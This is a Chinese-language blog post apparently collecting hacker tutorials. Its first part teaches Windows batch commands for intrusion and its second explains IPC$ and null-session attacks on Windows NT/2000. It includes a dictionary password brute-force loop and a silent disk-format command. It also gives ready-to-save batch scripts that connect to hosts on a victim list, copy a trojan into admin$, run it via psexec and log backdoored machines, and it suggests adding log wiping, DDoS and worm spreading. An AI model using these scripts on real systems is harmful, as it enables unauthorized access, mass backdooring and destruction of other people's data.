posts - 189,comments - 115,trackbacks - 0
          黑客常用 命令2(批處理命令)

          批處理命令

          1、Echo?命令
          打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo?命令將顯示當前回顯設置。
          語法
          echo?[{on│off}]?[message]
          Sample:@echo?off?/?echo?hello?world
          在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用>?>>?^)結合來實現輸入一
          些命令到特定格式的文件中.這將在以后的例子中體現出來。?
          2.@?命令
          表示不顯示@后面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬盤)自然不能讓對方看到你使用的命
          令啦。
          Sample:@echo?off
          @echo?Now?initializing?the?program,please?wait?a?minite...
          @format?X:?/q/u/autoset?(format?這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個
          參數給我們,效果和/y是一樣的。)

          3.Goto?命令
          指定跳轉到標簽,找到標簽后,程序將處理從下一行開始的命令。
          語法:goto?label?(label是參數,指定所要轉向的批處理程序中的行。)?
          Sample:
          if?{%1}=={}?goto?noparms
          if?{%2}=={}?goto?noparms(如果這里的if、%1、%2你不明白的話,先跳過去,后面會有詳細的解釋。)
          @Rem?check?parameters?if?null?show?usage
          :noparms
          echo?Usage:?monitor.bat?ServerIP?PortNumber
          goto?end
          標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令就是根
          據這個:來尋找下一步跳到到那里。最好有一些說明這樣你別人看起來才會理解你的意圖啊。

          4.Rem?命令
          注釋命令,在C語言中相當與/*--------*/,它并不會被執行,只是起一個注釋的作用,便于別人閱讀和你自己日后
          修改。
          Rem?Message
          Sample:@Rem?Here?is?the?description.

          5.Pause?命令
          運行?Pause?命令時,將顯示下面的消息:?
          Press?any?key?to?continue?.?.?.?
          Sample:
          @echo?off?
          :begin?
          copy?a:*.*?d:\back
          echo?Please?put?a?new?disk?into?driver?A?
          pause?
          goto?begin?
          在這個例子中,驅動器?A?中磁盤上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁盤放入驅動器?
          A?時,pause?命令會使程序掛起,以便您更換磁盤,然后按任意鍵繼續處理。

          6.Call?命令
          從一個批處理程序調用另一個批處理程序,并且不終止父批處理程序。call?命令接受用作調用目標的標簽。如果在
          腳本或批處理文件外使用?Call,它將不會在命令行起作用。
          語法
          call?[[Drive:][Path]?FileName?[BatchParameters]]?[:label?[arguments]]
          參數
          [Drive:}[Path]?FileName?
          指定要調用的批處理程序的位置和名稱。filename?參數必須具有?.bat?或?.cmd?擴展名。

          7.start?命令
          調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。
          入侵常用參數:
          MIN?開始時窗口最小化
          SEPARATE?在分開的空間內開始?16?位?Windows?程序
          HIGH?在?HIGH?優先級類別開始應用程序
          REALTIME?在?REALTIME?優先級類別開始應用程序
          WAIT?啟動應用程序并等候它結束
          parameters?這些為傳送到命令/程序的參數
          執行的應用程序是?32-位?GUI?應用程序時,CMD.EXE?不等應用程序終止就返回命令提示。如果在命令腳本內執
          行,該新行為則不會發生。
          8.choice?命令
          choice?使用此命令可以讓用戶輸入一個字符,從而運行不同的命令。使用時應該加/c:參數,c:后應寫提示可輸入
          的字符,之間無空格。它的返回碼為1234……
          如:?choice?/c:dme?defrag,mem,end
          將顯示
          defrag,mem,end[D,M,E]?
          Sample:
          test.bat的內容如下:?
          @echo?off?
          choice?/c:dme?defrag,mem,end?
          if?errorlevel?3?goto?defrag?(應先判斷數值最高的錯誤碼)
          if?errorlevel?2?goto?mem?
          if?errotlevel?1?goto?end?

          :defrag?
          c:\dos\defrag?
          goto?end?
          :mem?
          mem?
          goto?end?
          :end?
          echo?good?bye

          此文件運行后,將顯示?defrag,mem,end[D,M,E]??用戶可選擇d?m?e?,然后if語句將作出判斷,d表示執行標
          號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最后都以
          goto?end將程序跳到end標號處,然后程序將顯示good?bye,文件結束。

          9.If?命令

          if?表示將判斷是否符合規定的條件,從而決定執行不同的命令。?有三種格式:?
          1、if?"參數"?==?"字符串"? 待執行的命令?
          參數如果等于指定的字符串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)
          如if?"%1"=="a"?format?a:?
          if?{%1}=={}?goto?noparms
          if?{%2}=={}?goto?noparms

          2、if?exist?文件名 ?待執行的命令?
          如果有指定的文件,則條件成立,運行命令,否則運行下一句。
          如if?exist?config.sys?edit?config.sys?

          3、if?errorlevel?/?if?not?errorlevel?數字 ?待執行的命令?
          如果返回碼等于指定的數字,則條件成立,運行命令,否則運行下一句。
          如if?errorlevel?2?goto?x2? 
          DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。

          10.for?命令
          for?命令是一個比較復雜的命令,主要用于參數在指定的范圍內循環執行命令。
          在批處理文件中使用?FOR?命令時,指定變量請使用?%%variable

          for?{%variable│%%variable}?in?(set)?do?command?[?CommandLineOptions]
          %variable?指定一個單一字母可替換的參數。
          (set)?指定一個或一組文件。可以使用通配符。
          command?指定對每個文件執行的命令。
          command-parameters?為特定命令指定參數或命令行開關。
          在批處理文件中使用?FOR?命令時,指定變量請使用?%%variable
          而不要用?%variable。變量名稱是區分大小寫的,所以?%i?不同于?%I

          如果命令擴展名被啟用,下列額外的?FOR?命令格式會受到
          支持:

          FOR?/D?%variable?IN?(set)?DO?command?[command-parameters]

          如果集中包含通配符,則指定與目錄名匹配,而不與文件
          名匹配。

          FOR?/R?[[drive:]path]?%variable?IN?(set)?DO?command?[command-

          檢查以?[drive:]path?為根的目錄樹,指向每個目錄中的
          FOR?語句。如果在?/R?后沒有指定目錄,則使用當前
          目錄。如果集僅為一個單點(.)字符,則枚舉該目錄樹。

          FOR?/L?%variable?IN?(start,step,end)?DO?command?[command-para

          該集表示以增量形式從開始到結束的一個數字序列。
          因此,(1,1,5)?將產生序列?1?2?3?4?5,(5,-1,1)?將產生
          序列?(5?4?3?2?1)。

          FOR?/F?["options"]?%variable?IN?(file-set)?DO?command?
          FOR?/F?["options"]?%variable?IN?("string")?DO?command?
          FOR?/F?["options"]?%variable?IN?('command')?DO?command?

          或者,如果有?usebackq?選項:

          FOR?/F?["options"]?%variable?IN?(file-set)?DO?command?
          FOR?/F?["options"]?%variable?IN?("string")?DO?command?
          FOR?/F?["options"]?%variable?IN?('command')?DO?command?

          filenameset?為一個或多個文件名。繼續到?filenameset?中的
          下一個文件之前,每份文件都已被打開、讀取并經過處理。
          處理包括讀取文件,將其分成一行行的文字,然后將每行
          解析成零或更多的符號。然后用已找到的符號字符串變量值
          調用?For?循環。以默認方式,/F?通過每個文件的每一行中分開
          的第一個空白符號。跳過空白行。您可通過指定可選?"options"
          參數替代默認解析操作。這個帶引號的字符串包括一個或多個
          指定不同解析選項的關鍵字。這些關鍵字為:

          eol=c?-?指一個行注釋字符的結尾(就一個)
          skip=n?-?指在文件開始時忽略的行數。
          delims=xxx?-?指分隔符集。這個替換了空格和跳格鍵的
          默認分隔符集。
          tokens=x,y,m-n?-?指每行的哪一個符號被傳遞到每個迭代
          的?for?本身。這會導致額外變量名稱的
          格式為一個范圍。通過?nth?符號指定?m
          符號字符串中的最后一個字符星號,
          那么額外的變量將在最后一個符號解析之
          分配并接受行的保留文本。
          usebackq?-?指定新語法已在下類情況中使用:
          在作為命令執行一個后引號的字符串并且
          引號字符為文字字符串命令并允許在?fi
          中使用雙引號擴起文件名稱。

          sample1:
          FOR?/F?"eol=;?tokens=2,3*?delims=,?"?%i?in?(myfile.txt)?do?command

          會分析?myfile.txt?中的每一行,忽略以分號打頭的那些行,將
          每行中的第二個和第三個符號傳遞給?for?程序體;用逗號和/或
          空格定界符號。請注意,這個?for?程序體的語句引用?%i?來
          取得第二個符號,引用?%j?來取得第三個符號,引用?%k
          來取得第三個符號后的所有剩余符號。對于帶有空格的文件
          名,您需要用雙引號將文件名括起來。為了用這種方式來使
          用雙引號,您還需要使用?usebackq?選項,否則,雙引號會
          被理解成是用作定義某個要分析的字符串的。

          %i?專門在?for?語句中得到說明,%j?和?%k?是通過
          tokens=?選項專門得到說明的。您可以通過?tokens=?一行
          指定最多?26?個符號,只要不試圖說明一個高于字母?'z'?或
          'Z'?的變量。請記住,FOR?變量是單一字母、分大小寫和全局的;
          同時不能有?52?個以上都在使用中。

          您還可以在相鄰字符串上使用?FOR?/F?分析邏輯;方法是,
          用單引號將括號之間的?filenameset?括起來。這樣,該字符
          串會被當作一個文件中的一個單一輸入行。

          最后,您可以用?FOR?/F?命令來分析命令的輸出。方法是,將
          括號之間的?filenameset?變成一個反括字符串。該字符串會
          被當作命令行,傳遞到一個子?CMD.EXE,其輸出會被抓進
          內存,并被當作文件分析。因此,以下例子:

          FOR?/F?"usebackq?delims=="?%i?IN?(`set`)?DO?@echo?%i

          會枚舉當前環境中的環境變量名稱。

          另外,FOR?變量參照的替換已被增強。您現在可以使用下列
          選項語法:

          ~I?-?刪除任何引號("),擴充?%I
          %~fI?-?將?%I?擴充到一個完全合格的路徑名
          %~dI?-?僅將?%I?擴充到一個驅動器號
          %~pI?-?僅將?%I?擴充到一個路徑
          %~nI?-?僅將?%I?擴充到一個文件名
          %~xI?-?僅將?%I?擴充到一個文件擴展名
          %~sI?-?擴充的路徑只含有短名
          %~aI?-?將?%I?擴充到文件的文件屬性
          %~tI?-?將?%I?擴充到文件的日期/時間
          %~zI?-?將?%I?擴充到文件的大小
          %~$PATH:I?-?查找列在路徑環境變量的目錄,并將?%I?擴充
          到找到的第一個完全合格的名稱。如果環境變量
          未被定義,或者沒有找到文件,此組合鍵會擴充
          空字符串

          可以組合修飾符來得到多重結果:

          %~dpI?-?僅將?%I?擴充到一個驅動器號和路徑
          %~nxI?-?僅將?%I?擴充到一個文件名和擴展名
          %~fsI?-?僅將?%I?擴充到一個帶有短名的完整路徑名
          %~dp$PATH:i?-?查找列在路徑環境變量的目錄,并將?%I?擴充
          到找到的第一個驅動器號和路徑。
          %~ftzaI?-?將?%I?擴充到類似輸出線路的?DIR

          在以上例子中,%I?和?PATH?可用其他有效數值代替。%~?語法
          用一個有效的?FOR?變量名終止。選取類似?%I?的大寫變量名
          比較易讀,而且避免與不分大小寫的組合鍵混淆。

          以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。

          sample2:

          利用For命令來實現對一臺目標Win2k主機的暴力密碼破解。
          我們用net?use?\\ip\ipc$?"password"?/u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密
          碼。
          最主要的命令是一條:for?/f?i%?in?(dict.txt)?do?net?use?\\ip\ipc$?"i%"?/u:"administrator"
          用i%來表示admin的密碼,在dict.txt中這個取i%的值用net?use?命令來連接。然后將程序運行結果傳遞給find
          命令--
          for?/f?i%%?in?(dict.txt)?do?net?use?\\ip\ipc$?"i%%"?/u:"administrator"│find?":命令成功完成">&g
          t;D:\ok.txt?,這樣就ko了。

          sample3:

          你有沒有過手里有大量肉雞等著你去種后門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很郁
          悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那么如何實現呢?呵呵,看下去你就會明
          白了。

          主要命令也只有一條:(在批處理文件中使用?FOR?命令時,指定變量使用?%%variable)
          @for?/f?"tokens=1,2,3?delims=?"?%%i?in?(victim.txt)?do?start?call?cultivate.bat?%%i?%%j?%%k
          tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給cultivate.bat中的參
          數%i?%j?%k。
          而cultivate.bat無非就是用net?use命令來建立IPC$連接,并copy木馬+后門到victim并用返回碼(If?errorle
          ver?=)來篩選成功種植后門的主機并echo出來,或者echo到文件。
          delims=?表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什么樣
          的了。應該根據%%i?%%j?%%k表示的對象來,一般就是?ip?password?username。

          ---------------?cut?here?then?save?as?a?batchfile(I?call?it?main.bat?)?---------------------------
          @echo?off
          @if?"%1"==""?goto?usage
          @for?/f?"tokens=1,2,3?delims=?"?%%i?in?(victim.txt)?do?start?call?IPChack.bat?%%i?%%j?%%k
          @goto?end
          :usage
          @echo?run?this?batch?in?dos?modle.or?just?double-click?it.
          :end
          ---------------?cut?here?then?save?as?a?batchfile(I?call?it?main.bat?)?---------------------------


          -------------------?cut?here?then?save?as?a?batchfile(I?call?it?door.bat)?-----------------------------
          @net?use?\\%1\ipc$?%3?/u:"%2"
          @if?errorlevel?1?goto?failed
          @echo?Trying?to?establish?the?IPC$?connection?…………OK
          @copy?windrv32.exe\\%1\admin$\system32?&&?if?not?errorlevel?1?echo?IP?%1?USER?%2?PWD?
          %3?>>ko.txt
          @p***ec?\\%1?c:\winnt\system32\windrv32.exe
          @p***ec?\\%1?net?start?windrv32?&&?if?not?errorlevel?1?echo?%1?Backdoored?>>ko.txt
          :failed
          @echo?Sorry?can?not?connected?to?the?victim.
          -----------------?cut?here?then?save?as?a?batchfile(I?call?it?door.bat)?--------------------------------
          這只是一個自動種植后門批處理的雛形,兩個批處理和后門程序(Windrv32.exe),PSexec.exe需放在統一目
          錄下.批處理內容
          尚可擴展,例如:加入清除日志+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕
          蟲).此處不多做敘述,有興趣的朋友可自行研究.


          黑客常用 命令5(ipc$命令)

          一?摘要
          注意:本文所討論的各種情況均默認發生在win?NT/2000環境下,win98將不在此次討論之列。


          二?什么是ipc$
          IPC$(Internet?Process?Connection)是共享"命名管道"的資源,它是為了讓進程間通信而開放的命名管道,
          通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道并以此通道進行加密數據的交換,從而實現對遠程
          計算機的訪問。IPC$是NT/2000的一項新功能,它有一個特點,即在同一時間內,兩個IP之間只允許建立一個連
          接。NT/2000在提供了ipc$功能的同時,在初次安裝系統時還打開了默認共享,即所有的邏輯共享(c$,d$,e$
          ……)和系統目錄winnt或windows(admin$)共享。所有的這些,微軟的初衷都是為了方便管理員的管理,但在
          有意無意中,導致了系統安全性的降低。
          平時我們總能聽到有人在說ipc$漏洞,ipc$漏洞,其實ipc$并不是一個真正意義上的漏洞,我想之所以有人這么
          說,一定是指微軟自己安置的那個‘后門’:空會話(Null?session)。那么什么是空會話呢?


          三?什么是空會話
          在介紹空會話之前,我們有必要了解一下一個安全會話是如何建立的。
          在Windows?NT?4.0中是使用挑戰響應協議與遠程機器建立一個會話的,建立成功的會話將成為一個安全隧道,
          建立雙方通過它互通信息,這個過程的大致順序如下:?
          1)會話請求者(客戶)向會話接收者(服務器)傳送一個數據包,請求安全隧道的建?
          立;?
          2)服務器產生一個隨機的64位數(實現挑戰)傳送回客戶;?
          3)客戶取得這個由服務器產生的64位數,用試圖建立會話的帳號的口令打亂它,將結?
          果返回到服務器(實現響應);?
          4)服務器接受響應后發送給本地安全驗證(LSA),LSA通過使用該用戶正確的口令來核實響應以便確認請求者
          身份。如果請求者的帳號是服務器的本地帳號,核實本地發生;如果請求的帳號是一個域的帳號,響應傳送到域控
          制器去核實。當對挑戰的響應核實為正確后,一個訪問令牌產生,然后傳送給客戶。客戶使用這個訪問令牌連接到
          服務器上的資源直到建議的會話被終止。
          以上是一個安全會話建立的大致過程,那么空會話又如何呢?

          空會話是在沒有信任的情況下與服務器建立的會話(即未提供用戶名與密碼),但根據WIN2000的訪問控制模
          型,空會話的建立同樣需要提供一個令牌,可是空會話在建立過程中并沒有經過用戶信息的認證,所以這個令牌中
          不包含用戶信息,因此,這個會話不能讓系統間發送加密信息,但這并不表示空會話的令牌中不包含安全標識符S
          ID(它標識了用戶和所屬組),對于一個空會話,LSA提供的令牌的SID是S-1-5-7,這就是空會話的SID,用戶
          名是:ANONYMOUS?LOGON(這個用戶名是可以在用戶列表中看到的,但是是不能在SAM數據庫中找到,屬于
          系統內置的帳號),這個訪問令牌包含下面偽裝的組:?
          Everyone?
          Network
          在安全策略的限制下,這個空會話將被授權訪問到上面兩個組有權訪問到的一切信息。那么建立空會話到底可以作
          什么呢??


          四?空會話可以做什么?
          對于NT,在默認安全設置下,借助空連接可以列舉目標主機上的用戶和共享,訪問everyone權限的共享,訪問
          小部分注冊表等,并沒有什么太大的利用價值;對2000作用更小,因為在Windows?2000?和以后版本中默認只
          有管理員和備份操作員有權從網絡訪問到注冊表,而且實現起來也不方便,需借助工具。
          從這些我們可以看到,這種非信任會話并沒有多大的用處,但從一次完整的ipc$入侵來看,空會話是一個不可缺
          少的跳板,因為我們從它那里可以得到戶列表,而大多數弱口令掃描工具就是利用這個用戶列表來進行口令猜解
          的,成功的導出用戶列表大大增加了猜解的成功率,僅從這一點,足以說明空會話所帶來的安全隱患,因此說空會
          話毫無用處的說法是不正確的。以下是空會話中能夠使用的一些具體命令:


          1?首先,我們先建立一個空連接(當然,這需要目標開放ipc$)
          命令:net?use?\\ip\ipc$?""?/user:""
          注意:上面的命令包括四個空格,net與use中間有一個空格,use后面一個,密碼左右各一個空格。


          2?查看遠程主機的共享資源
          命令:net?view?\\ip
          解釋:前提是建立了空連接后,用此命令可以查看遠程主機的共享資源,如果它開了共享,可以得到如下面的結
          果,但此命令不能顯示默認共享。

          在?\\*.*.*.*的共享資源
          資源共享名?類型?用途?注釋

          -----------------------------------------------------------
          NETLOGON?Disk?Logon?server?share
          SYSVOL?Disk?Logon?server?share
          命令成功完成。

          3?查看遠程主機的當前時間
          命令:?net?time?\\ip
          解釋:用此命令可以得到一個遠程主機的當前時間。


          4?得到遠程主機的NetBIOS用戶名列表(需要打開自己的NBT)
          命令:nbtstat?-A?ip
          用此命令可以得到一個遠程主機的NetBIOS用戶名列表,返回如下結果:

          Node?IpAddress:?[*.*.*.*]?Scope?Id:?[]

          NetBIOS?Remote?Machine?Name?Table

          Name?Type?Status
          ---------------------------------------------
          SERVER?<00>?UNIQUE?Registered
          OYAMANISHI-H?<00>?GROUP?Registered
          OYAMANISHI-H?<1C>?GROUP?Registered
          SERVER?<20>?UNIQUE?Registered
          OYAMANISHI-H?<1B>?UNIQUE?Registered
          OYAMANISHI-H?<1E>?GROUP?Registered
          SERVER?<03>?UNIQUE?Registered
          OYAMANISHI-H?<1D>?UNIQUE?Registered
          ..__MSBROWSE__.<01>?GROUP?Registered
          INet~Services?<1C>?GROUP?Registered
          IS~SERVER......<00>?UNIQUE?Registered

          MAC?Address?=?00-50-8B-9A-2D-37


          以上就是我們經常使用空會話做的事情,好像也能獲得不少東西喲,不過要注意一點:建立IPC$連接的操作會在
          Event?Log中留下記錄,不管你是否登錄成功。?好了,那么下面我們就來看看ipc$所使用的端口是什么?


          五?ipc$所使用的端口
          首先我們來了解一些基礎知識:
          1?SMB:(Server?Message?Block)?Windows協議族,用于文件打印共享的服務;
          2?NBT:(NETBios?Over?TCP/IP)使用137(UDP)138(UDP)139(TCP)端口實現基于TCP/IP協議的NET
          BIOS網絡互聯。
          3?在WindowsNT中SMB基于NBT實現,即使用139(TCP)端口;而在Windows2000中,SMB除了基于NBT
          實現,還可以直接通過445端口實現。

          有了這些基礎知識,我們就可以進一步來討論訪問網絡共享對端口的選擇了:

          對于win2000客戶端(發起端)來說:
          1?如果在允許NBT的情況下連接服務器時,客戶端會同時嘗試訪問139和445端口,如果445端口有響應,那么就
          發送RST包給139端口斷開連接,用455端口進行會話,當445端口無響應時,才使用139端口,如果兩個端口都
          沒有響應,則會話失敗;
          2?如果在禁止NBT的情況下連接服務器時,那么客戶端只會嘗試訪問445端口,如果445端口無響應,那么會話失
          敗。


          對于win2000服務器端來說:
          1?如果允許NBT,?那么UDP端口137,?138,?TCP?端口?139,?445將開放(LISTENING);
          2?如果禁止NBT,那么只有445端口開放。


          我們建立的ipc$會話對端口的選擇同樣遵守以上原則。顯而易見,如果遠程服務器沒有監聽139或445端口,ip
          c$會話是無法建立的。


          六?ipc管道在hack攻擊中的意義
          ipc管道本來是微軟為了方便管理員進行遠程管理而設計的,但在入侵者看來,開放ipc管道的主機似乎更容易得
          手。通過ipc管道,我們可以遠程調用一些系統函數(大多通過工具實現,但需要相應的權限),這往往是入侵成
          敗的關鍵。如果不考慮這些,僅從傳送文件這一方面,ipc管道已經給了入侵者莫大的支持,甚至已經成為了最重
          要的傳輸手段,因此你總能在各大論壇上看到一些朋友因為打不開目標機器的ipc管道而一籌莫展大呼救命。當
          然,我們也不能忽視權限在ipc管道中扮演的重要角色,想必你一定品嘗過空會話的尷尬,沒有權限,開啟管道我
          們也無可奈何。但入侵者一旦獲得了管理員的權限,那么ipc管道這把雙刃劍將顯示出它猙獰的一面。


          七?ipc$連接失敗的常見原因
          以下是一些常見的導致ipc$連接失敗的原因:

          1?IPC連接是Windows?NT及以上系統中特有的功能,由于其需要用到Windows?NT中很多DLL函數,所以不能
          在Windows?9.x/Me系統中運行,也就是說只有nt/2000/xp才可以相互建立ipc$連接,98/me是不能建立ip
          c$連接的;


          2?如果想成功的建立一個ipc$連接,就需要響應方開啟ipc$共享,即使是空連接也是這樣,如果響應方關閉了ip
          c$共享,將不能建立連接;


          3?連接發起方未啟動Lanmanworkstation服務(顯示名為:Workstation):它提供網絡鏈結和通訊,沒有它
          發起方無法發起連接請求;


          4?響應方未啟動Lanmanserver服務(顯示名為:Server):它提供了?RPC?支持、文件、打印以及命名管道共
          享,ipc$依賴于此服務,沒有它主機將無法響應發起方的連接請求,不過沒有它仍可發起ipc$連接;


          5?響應方未啟動NetLogon,它支持網絡上計算機?pass-through?帳戶登錄身份(不過這種情況好像不多);


          6?響應方的139,445端口未處于監聽狀態或被防火墻屏蔽;


          7?連接發起方未打開139,445端口;


          8?用戶名或者密碼錯誤:如果發生這樣的錯誤,系統將給你類似于'無法更新密碼'這樣的錯誤提示(顯然空會話
          排除這種錯誤);


          9?命令輸入錯誤:可能多了或少了空格,當用戶名和密碼中不包含空格時兩邊的雙引號可以省略,如果密碼為空,
          可以直接輸入兩個引號""即可;


          10?如果在已經建立好連接的情況下對方重啟計算機,那么ipc$連接將會自動斷開,需要重新建立連接。?


          另外,你也可以根據返回的錯誤號分析原因:?

          錯誤號5,拒絕訪問:很可能你使用的用戶不是管理員權限的;?
          錯誤號51,Windows無法找到網絡路徑:網絡有問題;?
          錯誤號53,找不到網絡路徑:ip地址錯誤;目標未開機;目標lanmanserver服務未啟動;目標有防火墻(端口
          過濾);?
          錯誤號67,找不到網絡名:你的lanmanworkstation服務未啟動或者目標刪除了ipc$;?
          錯誤號1219,提供的憑據與已存在的憑據集沖突:你已經和對方建立了一個ipc$,請刪除再連;?
          錯誤號1326,未知的用戶名或錯誤密碼:原因很明顯了;?
          錯誤號1792,試圖登錄,但是網絡登錄服務沒有啟動:目標NetLogon服務未啟動;
          錯誤號2242,此用戶的密碼已經過期:目標有帳號策略,強制定期要求更改密碼。?


          八?復制文件失敗的原因
          有些朋友雖然成功的建立了ipc$連接,但在copy時卻遇到了這樣那樣的麻煩,無法復制成功,那么導致復制失敗
          的常見原因又有哪些呢?


          1?對方未開啟共享文件夾
          這類錯誤出現的最多,占到50%以上。許多朋友在ipc$連接建立成功后,甚至都不知道對方是否有共享文件夾,
          就進行盲目復制,結果導致復制失敗而且郁悶的很。因此我建議大家在進行復制之前務必用net?view?\\IP這個命
          令看一下你想要復制的共享文件夾是否存在(用軟件查看當然更好),不要認為能建立ipc$連接就一定有共享文
          件夾存在。


          2?向默認共享復制失敗
          這類錯誤也是大家經常犯的,主要有兩個小方面:

          1)錯誤的認為能建立ipc$連接的主機就一定開啟了默認共享,因而在建立完連接之后馬上向c$,d$,admin$之類
          的默認共享復制文件,一旦對方未開啟默認共享,將導致復制失敗。ipc$連接成功只能說明對方打開了ipc$共
          享,并不能說明默認共享一定存在。ipc$共享與默認共享是兩碼事,ipc$共享是一個命名管道,并不是哪個實際
          的文件夾,而默認共享卻是實實在在的共享文件夾;

          2)由于net?view?\\IP?這個命令無法顯示默認共享文件夾(因為默認共享帶$),因此通過這個命令,我們并不
          能判斷對方是否開啟了默認共享,因此如果對方未開啟默認共享,那么所有向默認共享進行的操作都不能成功;
          (不過大部分掃描軟件在掃弱口令的同時,都能掃到默認共享目錄,可以避免此類錯誤的發生)

          要點:請大家一定區分ipc共享,默認共享,普通共享這三者的區別:ipc共享是一個管道,并不是實際的共享文件
          夾;默認共享是安裝時默認打開的文件夾;普通共享是我們自己開啟的可以設置權限的共享文件夾。


          3用戶權限不夠,包括四種情形:
          1)空連接向所有共享(默認共享和普通共享)復制時,權限是不夠的;
          2)向默認共享復制時,在Win2000?Pro版中,只有Administrators和Backup?Operators組成員才可以,在
          Win2000?Server版本?Server?Operatros組也可以訪問到這些共享目錄;?
          3)向普通共享復制時,要具有相應權限(即對方管理員事先設定的訪問權限);
          4)對方可以通過防火墻或安全軟件的設置,禁止外部訪問共享;

          注意:
          1?不要認為administrator就一定具有管理員權限,管理員名稱是可以改的
          2?管理員可以訪問默認共享的文件夾,但不一定能夠訪問普通的共享文件夾,因為管理員可以對普通的共享文件夾
          進行訪問權限設置,如圖6,管理員為D盤設置的訪問權限為僅允許名為xinxin的用戶對該文件夾進行完全訪問,
          那么此時即使你擁有管理員權限,你仍然不能訪問D盤。不過有意思的是,如果此時對方又開啟了D$的默認共
          享,那么你卻可以訪問D$,從而繞過了權限限制,有興趣的朋友可以自己做測試。


          4被防火墻殺死或在局域網
          還有一種情況,那就是也許你的復制操作已經成功,但當遠程運行時,被防火墻殺掉了,導致找不到文件;或者你
          把木馬復制到了局域網內的主機,導致連接失敗(反向連接的木馬不會發生這種情況)。如果你沒有想到這種情
          況,你會以為是復制上出了問題,但實際你的復制操作已經成功了,只是運行時出了問題。


          呵呵,大家也知道,ipc$連接在實際操作過程中會出現各種各樣的問題,上面我所總結的只是一些常見錯誤,沒
          說到的,大家可以給我提個醒兒。


          九?關于at命令和xp對ipc$的限制
          本來還想說一下用at遠程運行程序失敗的原因,但考慮到at的成功率不是很高,問題也很多,在這里就不提它了
          (提的越多,用的人就越多),而是推薦大家用p***ec.exe遠程運行程序,假設想要遠程機器執行本地c:\xinxi
          n.exe文件,且管理員為administrator,密碼為1234,那么輸入下面的命令:
          p***ec?\\ip?-u?administrator?-p?1234?-c?c:\xinxin.exe
          如果已經建立ipc連接,則-u?-p這兩個參數不需要,p***ec.exe將自動拷貝文件到遠程機器并運行。

          本來xp中的ipc$也不想在這里討論,想單獨拿出來討論,但看到越來越多的朋友很急切的提問為什么遇到xp的時
          候,大部分操作都很難成功。我在這里就簡單提一下吧,在xp的默認安全選項中,任何遠程訪問僅被賦予來賓權
          限,也就是說即使你是用管理員帳戶和密碼,你所得到的權限也只是Guest,因此大部分操作都會因為權限不夠
          而失敗,而且到目前為止并沒有一個好的辦法來突破這一限制。所以如果你真的得到了xp的管理員密碼,我建議
          你盡量避開ipc管道。


          十?如何打開目標的IPC$共享以及其他共享
          目標的ipc$不是輕易就能打開的,否則就要天下打亂了。你需要一個admin權限的shell,比如telnet,木馬,c
          md重定向等,然后在shell下執行:
          net?share?ipc$
          開放目標的ipc$共享;
          net?share?ipc$?/del
          關閉目標的ipc$共享;如果你要給它開共享文件夾,你可以用:
          net?share?xinxin=c:\
          這樣就把它的c盤開為共享名為xinxin共享文件夾了。(可是我發現很多人錯誤的認為開共享文件夾的命令是net?
          share?c$,還大模大樣的給菜鳥指指點點,真是誤人子弟了)。再次聲明,這些操作都是在shell下才能實現的。


          十一?一些需要shell才能完成的命令
          看到很多教程這方面寫的十分不準確,一些需要shell才能完成命令就簡簡單單的在ipc$連接下執行了,起了誤導
          作用。那么下面我總結一下需要在shell才能完成的命令:

          1?向遠程主機建立用戶,激活用戶,修改用戶密碼,加入管理組的操作需要在shell下完成;

          2?打開遠程主機的ipc$共享,默認共享,普通共享的操作需要在shell下完成;

          3?運行/關閉遠程主機的服務,需要在shell下完成;

          4?啟動/殺掉遠程主機的進程,也需要在shell下完成(用軟件的情況下除外,如pskill)。


          十二?入侵中可能會用到的命令
          為了這份教程的完整性,我列出了ipc$入侵中的一些常用命令,如果你已經掌握了這些命令,你可以跳過這一部
          分看下面的內容。請注意這些命令是適用于本地還是遠程,如果只適用于本地,你只能在獲得遠程主機的shell
          (如cmd,telnet等)后,才能向遠程主機執行。


          1?建立/刪除ipc$連接的命令

          1)建立空連接:
          net?use?\\127.0.0.1\ipc$?""?/user:""?

          2)建立非空連接:
          net?use?\\127.0.0.1\ipc$?"密碼"?/user:"用戶名"?

          3)刪除連接:
          net?use?\\127.0.0.1\ipc$?/del


          2?在ipc$連接中對遠程主機的操作命令

          1)?查看遠程主機的共享資源(看不到默認共享):
          net?view?\\127.0.0.1?

          2)?查看遠程主機的當前時間:
          net?time?\\127.0.0.1?

          3)?得到遠程主機的netbios用戶名列表:
          nbtstat?-A?127.0.0.1?

          4)映射/刪除遠程共享:
          net?use?z:?\\127.0.0.1\c?
          此命令將共享名為c的共享資源映射為本地z盤?

          net?use?z:?/del?
          刪除映射的z盤,其他盤類推

          5)向遠程主機復制文件:
          copy?路徑\文件名?\\IP\共享目錄名,如:
          copy?c:\xinxin.exe?\\127.0.0.1\c$?即將c盤下的xinxin.exe復制到對方c盤內
          當然,你也可以把遠程主機上的文件復制到自己的機器里:
          copy?\\127.0.0.1\c$\xinxin.exe?c:\

          6)遠程添加計劃任務:
          at?\\IP?時間?程序名?如:
          at?\\127.0.0.0?11:00?xinxin.exe
          注意:時間盡量使用24小時制;如果你打算運行的程序在系統默認搜索路徑(比如system32/)下則不用加路
          徑,否則必須加全路徑


          3?本地命令

          1)查看本地主機的共享資源(可以看到本地的默認共享)
          net?share

          2)得到本地主機的用戶列表
          net?user

          3)顯示本地某用戶的帳戶信息
          net?user?帳戶名

          4)顯示本地主機當前啟動的服務
          net?start?

          5)啟動/關閉本地服務
          net?start?服務名?
